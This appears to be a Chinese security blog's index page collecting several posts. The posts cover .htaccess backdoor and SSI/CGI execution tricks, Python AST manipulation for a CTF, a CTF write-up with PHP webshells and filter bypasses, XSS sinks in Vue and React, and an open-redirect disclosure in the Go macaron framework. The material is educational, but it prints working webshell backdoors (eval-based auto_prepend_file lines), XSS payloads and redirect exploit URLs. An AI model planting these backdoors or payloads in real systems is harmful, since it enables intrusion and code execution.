o_o ....

.htaccess

rewrite

Options +FollowSymlinks

RewriteEngine on

RewriteRule lol.jpg /flag.txt [NC]

/flag.txt相对于web路径,可以用来绕过路由限制或者当后门

SSI

.htaccess

AddType text/html .shtml
AddHandler server-parsed .shtml
Options Includes

1.shtml

<pre>
<!--#exec cmd="whoami" -->
</pre>

cgi

.htaccess

Options ExecCGI
SetHandler cgi-script

whoami.cgi(linux)

#!/bin/sh
whoami

calc.cgi(windows)

#!C:\Windows\System32\calc.exe
1

ErrorHandlerfile

同样相对web根目录, 也可以设为动态文件,比如shell.php,用来当后门

ErrorDocument 404 /flag    

handler

设置解析规则

<Files index.html>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
</Files>


自包含

访问任意php文件即可

php_value auto_prepend_fi\
le .htaccess
#<?php eval($_REQUEST['evoA'])?>

配置权限

<Files ~ "^flag.txt$">
Order deny,allow
Allow from all
</Files>
# 允许可被访问

<Files ~ "^flag.txt$">
Order allow,deny
Deny from all
</Files>
# 不可被访问

php引擎

#开启php解析
php_flag engine On
#或
php_flag engine 1

#关闭php解析
php_flag engine Off
#或
php_flag engine 0

# 貌似不能覆盖apache2.conf中 Directory指令设置的engine

不允许在.htaccess文件中出现的指令(部分)

Alias

<Directory >
</Directory>

QQ图片20201116213537.png

- Read More -
Web,安全研究

Preface


抽象语法树(AST),即Abstract Syntax Tree的缩写。它是源代码语法结构的一种抽象表示。它以树状的形式表现编程语言的语法结构,树上的每个节点都表示源代码中的一种结构。之所以说语法是抽象的,是因为这里的语法并不会表示出真实语法中出现的每个细节。


Python内置一个ast库,其中存在一些内置方法生成,遍历,获取,解析 Python代码并获取ast树,但ast库的官方文档过于简陋,基本上无法当作学习文档。


最简单的Demo


import ast
import astpretty
res = ast.parse("a = 1+1")
astpretty.pprint(res)
Module(
    body=[
        Assign(
            lineno=1,
            col_offset=0,
            end_lineno=1,
            end_col_offset=7,
            targets=[Name(lineno=1, col_offset=0, end_lineno=1, end_col_offset=1, id='a', ctx=Store())],
            value=BinOp(
                lineno=1,
                col_offset=4,
                end_lineno=1,
                end_col_offset=7,
                left=Constant(lineno=1, col_offset=4, end_lineno=1, end_col_offset=5, value=1, kind=None),
                op=Add(),
                right=Constant(lineno=1, col_offset=6, end_lineno=1, end_col_offset=7, value=1, kind=None),
            ),
            type_comment=None,
        ),
    ],
    type_ignores=[],
)

Process finished with exit code 0


astpretty是一个第三方库,用来美化输出ast树


上面的输出结果就是,a = 1 + 1 这句语句对应的ast树的可读形式,
其中Module(body(是所有语句dump出来都会有的,不用管
由于a = 1 + 1是一句赋值语句,所以第一层为 Assign语法
对于每一种结构语法,都会自己对应的语法属性,比如这里的Assign,就存在targets(赋值对象),value(被赋的值),而这些语法属性自己又包含了自己的属性,一层一层嵌套






需要注意的是对于某些表达式,python的ast的遍历顺序是从后到前,从外到内,这个与php的ast遍历顺序不同,有点反人类
比如

request.arg.get(123)
func(a[:5])


第一个获取到的ast对象是 get(123)
第二个获取到的也是函数 func()


当然除了打印ast树,我们也可以直接输出ast树对应的节点
1.png
假设有一道CTF题目

#secret.py
def func():
    flag = "xxxxxxxxxxxxxxxxxxxxxxxxx"
    # guess flag


假如我们可以运行一段py脚本,但是不允许读文件,执行系统命令,我们该如何获取flag?

#user.py
import secret


最简单的办法是py2的co_const
image.png
co_const属性,可以获得一个函数定义块中被定义的常量值
ast增加节点
那如果是Py3 或者 secret.py中的flag不以常量方式赋值怎么办呢
拿下面的secret.py举个例子,假设我们需要想办法获取flag的值

#secret.py
import uuid
def check():
  # Example
  flag = f"flag{{{uuid.uuid4()}}}"


现在我们允许读取文件,但是我们无法获取到uuid的值


我们可以修改ast树,在赋值的下面加一句print的ast树,然后调用ast的eval运行此函数


首先查看一个pring(flag)的ast节点


import ast
import astpretty
res = ast.parse("print(flag)")
astpretty.pprint(res)
Module(
    body=[
        Expr(
            lineno=1,
            col_offset=0,
            end_lineno=1,
            end_col_offset=11,
            value=Call(
                lineno=1,
                col_offset=0,
                end_lineno=1,
                end_col_offset=11,
                func=Name(lineno=1, col_offset=0, end_lineno=1, end_col_offset=5, id='print', ctx=Load()),
                args=[Name(lineno=1, col_offset=6, end_lineno=1, end_col_offset=10, id='flag', ctx=Load())],
                keywords=[],
            ),
        ),
    ],
    type_ignores=[],
)




我们模仿这个AST树,用python代码生成对应的ast结构


import ast
func = ast.Name(id="print", ctx=ast.Load())
args = [ast.Name(id="flag", ctx=ast.Load())]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)

然后把我们自己生成的节点,插入到check函数中


content = open("secret.py").read()
res = ast.parse(content)
res.body[1].body.insert(1,node)
ast.fix_missing_locations(res)




由于print(flag)与赋值语句在同一层
而res.body[1]是函数定义结构,res.body[1].body即为函数体内,所以在此处插入res.body[1].body[0]是赋值语句,所以为insert(1,node)


ast.fix_missing_locations函数作用是自动修复 ast结构的偏移 行号等杂项,需要调用,否则会报
TypeError: required field "lineno" missing from stmt


最后只需要编译运行我们的ast树即可
exec(compile(res, '', 'exec'))


由于我们运行的语句相当于重新定义了一个check函数,所以还需要运行一遍check函数


整个文件结构如下


import ast
content = open("secret.py").read()
func = ast.Name(id="print", ctx=ast.Load())
args = [ast.Name(id="flag", ctx=ast.Load())]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)
res = ast.parse(content)
res.body[1].body.insert(1,node)
ast.fix_missing_locations(res)
exec(compile(res, '', 'exec'))
check()

ast修改节点

除了可以在下一行新增节点以外,我们还可以直接修改赋值节点,直接改为表达式节点将值输出


跟上面差不多,就不多介绍了


import ast
content = open("secret.py").read()
res = ast.parse(content)
value = res.body[1].body[0].value
func = ast.Name(id="print", ctx=ast.Load())
args = [value]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)
res.body[1].body[0] = node
ast.fix_missing_locations(res)
exec(compile(res, '', 'exec'))
check()




res.body[1].body[0].value 就是赋值表达式所赋的值

ast删除节点


body是一个list,把对应节点pop就行了

#secret.py
import uuid
def check():
  flag = f"flag{{{uuid.uuid4()}}}"
  flag = "88888"
  print(flag)
import ast
import astpretty
content = open("secret.py").read()
func = ast.Name(id="print", ctx=ast.Load())
args = [ast.Name(id="flag", ctx=ast.Load())]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)
res = ast.parse(content)
res.body[1].body.pop(1)
ast.fix_missing_locations(res)
astpretty.pprint(res)
exec(compile(res, '', 'exec'))
check()

遍历节点

以上内容只是对某单一节点进行修改,如果我们要修改所有某一特征节点时如何去做。
ast库提供了 visit方法,供开发者遍历所有节点


import ast
content = open("secret.py").read()
res = ast.parse(content)
class MyVisit(ast.NodeVisitor):
def visit_Assign(self,node):
  print(node.value)
  return node
m = MyVisit()
m.visit(res)
<_ast.JoinedStr object at 0x02F2F6B8>
<_ast.Constant object at 0x02F2F928>


开发者需要定义一个ast.NodeVisitor的子类,然后定义对应的visit_结构类型方法,处理特定的结构。
然后创建这个类对象,调用visit方法。遍历AST树


但此类只能进行ast的输出,如果需要一边遍历一边修改ast,增删改等,就需要继承另一个子类ast.NodeTransformer
假如我们把所有常量数字改为字符串


我们先看看字符串和数字的ast结构


import ast
import astpretty
res = ast.parse("a = 123\nv='123'")
astpretty.pprint(res)
Module(
    body=[
        Assign(
            lineno=1,
            col_offset=0,
            end_lineno=1,
            end_col_offset=7,
            targets=[Name(lineno=1, col_offset=0, end_lineno=1, end_col_offset=1, id='a', ctx=Store())],
            value=Constant(lineno=1, col_offset=4, end_lineno=1, end_col_offset=7, value=123, kind=None),
            type_comment=None,
        ),
        Assign(
            lineno=2,
            col_offset=0,
            end_lineno=2,
            end_col_offset=7,
            targets=[Name(lineno=2, col_offset=0, end_lineno=2, end_col_offset=1, id='v', ctx=Store())],
            value=Constant(lineno=2, col_offset=2, end_lineno=2, end_col_offset=7, value='123', kind=None),
            type_comment=None,
        ),
    ],
    type_ignores=[],
)

Process finished with exit code 0




很明显,他们都属于Constant结构,完全对应里面的Value属性
需要注意的是,在老的python版本里,这些常量值分别属于
ast.Num, ast.Str而不是ast.Constant


所以这个数字转字符串的遍历类如下

#case.py
a = 123
b = "231445"
def s():
  c= 3124235213
#exp.py
import ast
import astunparse
content = open("case.py").read()
res = ast.parse(content)
class MyVisit(ast.NodeTransformer):
def visit_Constant(self,node):
  if type(node.value) == int:
    node.value = str(node.value)
  return node
m = MyVisit()
node = m.visit(res)
print(astunparse.unparse(node))

a = '123'
b = '231445'
def s():
  c = '3124235213'
Process finished with exit code 0




astunparse是一个三方库,将ast树转化为python code


而如果需要删除ast节点就更简单了,在方法里return None即可

Introductionas

https://stackoverflow.com/questions/46388130/insert-a-node-into-an-abstract-syntax-tree
https://www.escapelife.site/posts/40a2fc93.html

- Read More -
CTF,Web

easycon

直接给了一句话木马
登上去看了好久没找到flag
发现bbbbbb.txt比较可疑,创建时间和其他文件一样,应该是出题人故意留的
图片.png
图片.png
图片.png


base64解发现是jpg图片头,python解码写个文件

data = 'xxxxxxxxxxxxxx'
import base64

open("1.jpg","wb").write(base64.b64decode(data))

图片.png

BlackCat

这道题有点脑洞了,扫目录啥的没发现,最后发现是背景音乐hex打开最后有源码
图片.png

<?php


if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

比较敏感,感觉是数组绕过,本地试了还真是,当传入White-cat-monitor为数组时,$clandestine结果是NULL,那接下来就好办了,只需要传入Black-Cat-Sheriff和One-ear,本地计算一下hash一样就可以弹shell了

Easyphp2

http://183.129.189.60:10025/?file=GWHT.php
题目一看就是文件包含,想读源码发现伪协议里面的base64和rot13都被ban了,查了一下官方手册找到一个可以用的转换器
http://183.129.189.60:10025/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
php://filter/read=convert.quoted-printable-encode/resource
读到的源码

<?php
    ini_set('max_execution_time', 5);

        if ($_COOKIE['pass'] !== getenv('PASS')) {
            setcookie('pass', 'PASS');
            die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
        }
        ?>

            <h1>A Counter is here, but it has someting wrong</h1>

                <form>
                        <input type="""hidden" value="GWHT.php" name="file">
                                <textarea style="""border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
                                        <input type="""submit">
                                            </form>

                                                <?php
                                                    if (isset($_GET["count"])) {
                                                        $count = $_GET["count"];
                                                        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
                                                            die('hacker!');
                                                        }
                                                        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
                                                            }
                                                            ?>


</body>

</html>

需要知道一个环境变量,读/proc/self/environ一直报错,用intruder模块跑pid
跑到/proc/27/environ成功读到pass为GWHT
图片.png
然后直接传cmd命令弹shell

easyphp

访问首页发现是审计题

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

大概意思,首先每次访问会删除除index.php以外的所有文件
然后两个简单正则校验,用户可以传入文件名和文件内容写入文件
但是写入文件的后面会加上换行Hello,World

尝试1

写入Webshell,发现不解析


图片.png
出现这种情况,一般是配置文件中不允许执行php文件,(这道题应该是只允许index.php执行)
图片.png
开发者既可以在主配置文件中更改 php_flag值,也可以在分布式配置文件(.htaccess)中更改此值
由于.htaccess优先度高于主配置文件
我们第一反应想到,我们先写.htaccess在写入一句话木马,但是由于题目在访问前后会删除其他所有文件,此路不通

尝试2

通过.htaccess的一种后门,自包含形式获取Webshell

php_value auto_append_file .htaccess
#<?php eval($_POST[1]);

.htaccess可以更改 auto_append_file 这个属性,这个属性是指php文件自动包含的文件,可以自己包含自己来获取webshell
trick1: #符号是注释
但是由于题目会在尾部加一个nhello world,我们需要注释尾部的内容,否者服务端会报错500(.htaccess不允许脏字符)
trick2: 符号可以转义换行
百度了一下没有找到多行注释,但我们可以通过符号转义换行,将最后一行和倒数第二行变为一行,然后#全部注释

php_value auto_append_file .htaccess
#<?php eval($_POST[1]);
# \
Hello, world

然后因为上面对content进行了一些正则,我们还是可以通过绕过正则,最终exp

php_value auto_prepend_fi\
le .htaccess
#<?php eval($_POST[1])?>
# \
Hello, world

Getshell后flag在根目录,readfile('/flag')即可

Break the Wall

一开始感觉是FFI,后面发现不是
然后觉得像宝塔那篇,通过PWN来绕过disable_function,
https://xz.aliyun.com/t/7990
不会pwn,溜了

EasyJava

Java垃圾,溜了

easyser

看了一会没思路,现在在护网已经2:30了,头好晕感觉要猝死了,睡了睡了

- Read More -
安全研究

前言

如今大量前端开发皆采用现代化前端框架,如Vue和React,这类框架对于XSS提供了自带的防御措施,大部分情况下基本完全杜绝了XSS,但是在某些特定的场合下,依旧存在XSS风险,为了避免在一些渗透测试,安全服务中在这类框架上花无用的挖洞时间,此文来探讨一下此类框架是如何防御XSS以及如何产生XSS的
介于此,此文将尽可能少的介绍Vue和React的基础知识,不了解的读者可以视情况先学习一下前置知识在看此文

Vue

防御

我们知道,Vue采用数据绑定的方式,将变量绑定到dom树上,如下所示

<div id="app">
    <p>{{ message }}</p>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            message: 'Hello Vue.js!'
        }
    })
</script>

el代表dom的查询表达式,查询id=app的元素
然后将 {{}}里的message变量渲染为Hello Vue.js! 字符串
几乎所有的开发都这么写,那么假如我们message变量可控会如何

<div id="app">
    <p>{{ message }}</p>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            message: '<svg/onload=alert(1)>'
        }
    })
</script>

这里message被我们硬编码为了html代码,当然正常代码会动态给message赋值,这里效果一样,不额外举例,现在我们看看渲染的结果
图片.png
可以看到,即使我们可控这些变量,开发者也没有做任何过滤,我们的xss payload依旧被转义为实体字符。
这就是vue底层做的事,vue对于变量绑定,底层其实是用了Javascript原生的innerText方法,而innerText默认会把所有html元素进行转义,由于innerText也是Js原生方法,当然正常情况不可能绕过

所以有时候,我们在某些系统里狂插payload,大家会发现没有一个弹窗,可能这不是开发者防御意识高,只是人家用了框架,攻击的方式错了

隐患1

如果开发者有将html代码作为值传入到变量中的需求呢,比如动态生成表格,对于一个大型框架来说,肯定有这种渲染标签的功能,
对于Vue来说,这个功能的指令叫V-html

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Vue</title>
    <script src="https://cdn.staticfile.org/vue/2.2.2/vue.min.js"></script>
</head>
<body>
<div id="app">
    <p v-html="message"></p>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            message: '<svg/onload=alert(1)>'
        }
    })
</script>
</body>
</html>

图片.png
很明显感觉到,v-html指令应该就是调用的document.innerHTML方法
如果开发者用v-html方法进行参数传递,并且参数可控,那么即可造成XSS

隐患2

vue用的最多的方法还是{{}},双大括号变量绑定,这个双大括号本质和 v-text指令是一样的,就是上面说的调用的innerText方法,对于一般的普通系统来说,几乎开发者全程使用{{}}进行参数传递,很少会额外用到v-html指令,那么如果不用v-html就没有常见的XSS问题了嘛?
对于一种很常见的XSS case,vue是没有做任何的防御的

<body>
<div id="app">
    <a :href="url">click me</a>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            url: "javascript:alert(111)"
        }
    })
</script>
</body>

a标签的属性xss,vue是没有任何防御措施的,我们只需要传入javascript:alert(1)即可触发XSS
除此以外
iframe的src属性,object标签的src属性都是可以触发XSS的


:href 其实是 v-bind:href的缩写
下面两个写法一样

    <a :href="url">click me</a>
    <a v-bind:href="url">click me</a>

隐患3

在javascript函数里面使用原生危险函数,比如innerHTML eval等,这个不再多说

React

React习惯用类语法来编写

隐患1

跟上诉href src一样,react不会对链接产生的xss进行过滤

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8" />
    <title>Hello React!</title>
    <script src="https://cdn.staticfile.org/react/16.4.0/umd/react.development.js"></script>
    <script src="https://cdn.staticfile.org/react-dom/16.4.0/umd/react-dom.development.js"></script>
    <script src="https://cdn.staticfile.org/babel-standalone/6.26.0/babel.min.js"></script>
</head>
<body>

<div id="example"></div>
<script type="text/babel">

    class WebSite extends React.Component {
        constructor() {
            super();

        }
        render() {
            return (
                <div>
                    <a href={this.props.site}>click me</a>
                </div>
            );
        }
    }
    ReactDOM.render(
        <WebSite site="javascript:alert(1)"/>,
        document.getElementById('example')
    );
</script>

</body>
</html>

隐患2

同样如上v-html,react也提供了一个渲染html的方法,不过这个办法名字比较吓人
dangerouslySetInnerHTML


<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8" />
    <title>Hello React!</title>
    <script src="https://cdn.staticfile.org/react/16.4.0/umd/react.development.js"></script>
    <script src="https://cdn.staticfile.org/react-dom/16.4.0/umd/react-dom.development.js"></script>
    <script src="https://cdn.staticfile.org/babel-standalone/6.26.0/babel.min.js"></script>
</head>
<body>

<div id="example"></div>
<script type="text/babel">

    class WebSite extends React.Component {
        constructor() {
            super();

        }
        render() {
            return (
                <div>
                    <p dangerouslySetInnerHTML={{__html:this.props.site}}></p>
                </div>
            );
        }
    }
    ReactDOM.render(
        <WebSite site="<svg/onload=alert(1)>"/>,
        document.getElementById('example')
    );
</script>

</body>
</html>

这个dangerouslySetInnerHTML跟vue的v-html比较类似

隐患3

同上,使用原生函数

总结

了解这些会有什么帮助

白盒审计

如果我们在对前端项目进行审核的时候,如果发现前端项目是用vue或者react进行编写的话,我们就可以只关注上面的危险函数关键字,避开其他的常规功能,比如全局搜索 如下关键字

:href
v-bind:href
:src
v-bind:src
v-html
------------------------------
href={
src={
dangerouslySetInnerHTML=

------------------------------
innerHTML
eval(
....

黑盒审计

当然,大部分时候我们是没有源代码的,我们一般面对的是一个webpack打包后的构建产物js,如果有sourcemap泄露的话,我们就可以当上面白盒进行审计,如果在没有sourcemap泄露的情况下,就必须硬怼黑盒环境了,当然黑盒会有一些技巧
一般来说,Vue和React不会单独使用,大部分与现在前端常用的UI框架结合使用,比如Vue+elementUI,React+Antdesign


这类UI框架有个很明显的特征,一般常用于CRM系统,就是什么后台管理系统这类的,像这个样子


图片.png
图片.png
图片.png
这种清一色的,左边上面菜单栏,中间内容,UI比较爽快的,大部分都是Vue+React的前端框架,所以在这里面疯狂扔<img src=#....是没有用的
正确的姿势是:
找输入链接的地方,比如网址,图片链接等输入框,插入javascript:alert(1)等,当然这里也有可能SSRF
找富文本,表格等,或者抓包发现往后端直接发送标签的地方,插入XSS poc
放弃掉其他功能,因为框架会做默认的转义

- Read More -
开源安全

前言


这几天,我审查了多个web框架的源代码,了解了几个不同语言的web框架的处理流程逻辑,并且由于公司业务的需要,我对几个go的web框架进行了review,并且在昨天晚上审查出了一个框架层面的任意url跳转漏洞

macaron


macaron是一个小型,高拓展,精巧的go web框架,目前github有3k的star,语法上类似于gin框架。于是我对其进行了审查,最终挖掘出一枚任意302跳转漏洞,虽然发现的漏洞危害不大,但是挖掘过程却值得拿来一说,

框架


先说下背景,对于web框架的审查,一般着重点有如下几个

  1. 静态文件


因为一般框架都会提供静态资源的访问功能,用于访问静态文件夹,如果这部分处理不当,可能会造成目录穿越从而任意文件读取的问题

  1. 302跳转


这也是本文的漏洞,按照标准,用户注册的路由必须是/结尾,比如
@app.route('/user/')
如果没有以斜杠结尾,很多框架也会在背后默默添加上斜杠以符合标准
所以如果用户访问一个没有以斜杠结尾的路径时,框架会默认跳转到斜杠结尾的路径。如果框架没有任何判断,直接跳转的的url为 用户访问url + '/' 就会产生漏洞
Django的CVE-2018-14574就是这么产生的https://xz.aliyun.com/t/3302

  1. 模板渲染


一般来说,模板渲染和框架逻辑会进行解耦,比如flask和jinja那样,但是不可否认的是,模板渲染也是框架的一部分,并且很多模板都会用eval这种动态解析的危险函数,如果处理不当,极可能造成rce漏洞


审计框架常见的漏洞类型就是这些,当然,不同的情况肯定有不同的处理,并不是说除了上诉漏洞框架就不会有别的漏洞了,具体还是要看开发这写法,这也是局限于小型框架,如果是django那种功能复杂的大型框架,那肯定有更多的攻击面挖掘点去挖掘

漏洞点


对于一般的MVC框架,开发者会注册好 路由和函数的对应关系,然后框架中有一个全局索引去保存好这些对应关系,当一个新请求来临时,服务器会把 这个请求的信息全部打包好,扔给框架进行处理。这些信息就是我们常说的Context


比如说路径 请求方式, 协议, 等等,框架拿到这些信息以后,就会根据http服务器提供的路径,去全局索引中查找该回调哪个函数。


而如果没有找到路径匹配的函数,并且没有其他合适中间处理middleware,框架就会返回404


而本文的漏洞出现在静态资源处理函数中,我们来跟着源码分析一下

漏洞代码

package main
import "gopkg.in/macaron.v1"
func main() {
    m := macaron.Classic()
    m.Get("/", func(ctx *macaron.Context) string {
        return "Hello world!"
    })
    m.Use(macaron.Static("static"))
    m.Run()
}


payload放在了文末,建议读者先不直接看payload,看完代码分析,试试自己能不能想出payload

分析


git clone [https://github.com/go-macaron/macaron](https://github.com/go-macaron/macaron)


在本框架中,静态资源处理是一个中间件middleware
m.Use(macaron.Static("static"))


我们使用Goland来分析,右键Staic -> Go To -> Declaration 进入Static的函数声明

// Static returns a middleware handler that serves static files in the given directory.
func Static(directory string, staticOpt ...StaticOptions) Handler {
    opt := prepareStaticOptions(directory, staticOpt)

    return func(ctx *Context, log *log.Logger) {
        staticHandler(ctx, log, opt)
    }
}


由于我们使用的默认options,prepareStaticOptions函数并没有其他有用的信息,我们继续跟进staticHandler函数,看参数名字其实不难猜出,ctx就是上面讲的Context(请求信息上下文)log代表日志一般不用看,opt是选项


staticHandler就是导致漏洞的关键函数了,我们详细分析一下它,

func staticHandler(ctx *Context, log *log.Logger, opt StaticOptions) bool {

    file := ctx.Req.URL.Path
    // if we have a prefix, filter requests by stripping the prefix

    f, err := opt.FileSystem.Open(file)
    if err != nil {
        return false
    }
    defer f.Close()
    fi, err := f.Stat()
    if err != nil {
        return true // File exists but fail to open.
    }
    // Try to serve index file
    if fi.IsDir() {
        // Redirect if missing trailing slash.
        if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
            http.Redirect(ctx.Resp, ctx.Req.Request, ctx.Req.URL.Path+"/", http.StatusFound)
            return true
        }
    }
    http.ServeContent(ctx.Resp, ctx.Req.Request, file, fi.ModTime(), f)
    return true
}


由于篇幅原因,我把只贴出了staticHandler产生漏洞的代码,没放出其余对漏洞产生无影响的代码。


不难看出,file就代表了我们请求的路径。
我们访问的HTTP包如果是POST //123./ HTTP/1.1
那么file就是//123./


opt.FileSystem在外部代码中查看得出指向http.FileSystem,这是一个go的内置包,可以打开文件和文件夹对象,所以后续代码用fi.IsDir()来判断是否打开的是文件夹。


这里就可以看出,这些代码是用来判断,用户访问的是静态目录下的一个文件还是文件夹,因为静态目录下的所有文件和文件夹都是可访问的。
然后我们仔细看看下面这几行代码

if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
            http.Redirect(ctx.Resp, ctx.Req.Request, ctx.Req.URL.Path+"/", http.StatusFound)
            return true
        }


这几行代码的作用是,如果用户访问的是一个文件夹,但是访问路径不是以/结尾,就直接给路径加个/ 然后重定向。
看上去代码并没有任何问题,如果真要造成302任意跳转,比如跳到baidu.com,我们得在静态目录下新建一个叫 baidu.com 的文件夹,然后访问
[http://127.0.0.1:4000//baidu.com](http://127.0.0.1:4000//baidu.com)才可以.
包括我在第一次审计的时候也没有觉得有问题,各位读者如果看看到了这里,可以自己思考一下怎么利用。

利用












































公布答案
当访问 [http://127.0.0.1:4000//evoa.me%2f..](http://127.0.0.1:4000//evoa.me%252f..)即可跳到//evoa.me


我们来分析一下这个payload,由于路径是 .. 结尾,http.FileSystem会认为他是一个路径,fi.IsDir()为真,并且路径并不是/结尾,if !strings.HasSuffix(ctx.Req.URL.Path, "/")为true,继续进入if语句,最后返回的location为
Location: //evoa.me/../成功跳转

小坑


这里有个小坑,如果是在Chrome浏览器验证的话,
下面的payload都是无法成功的
[http://127.0.0.1:4000//evoa.me/..](http://127.0.0.1:4000//evoa.me/..)
[http://127.0.0.1:4000//evoa.me/%2e.](http://127.0.0.1:4000//evoa.me/%252e.)
[http://127.0.0.1:4000//evoa.me/%2e%2e](http://127.0.0.1:4000//evoa.me/%252e%252e)
[http://127.0.0.1:4000//evoa.me/.%2e](http://127.0.0.1:4000//evoa.me/.%252e)


具体原因是chrome会对访问路径进行标准化,/..会自动删去,不会发到后端,这里要感谢 @F1sh师傅的解答
而如果对 / 进行编码 %2f,chrome就不会自动标准化,就可以复现这个漏洞了

后话


Issue地址:https://github.com/go-macaron/macaron/issues/198
CVE:在考虑要不要申请,感觉很垃圾

CVE-2020-12666 真香

- Read More -
This is just a placeholder img.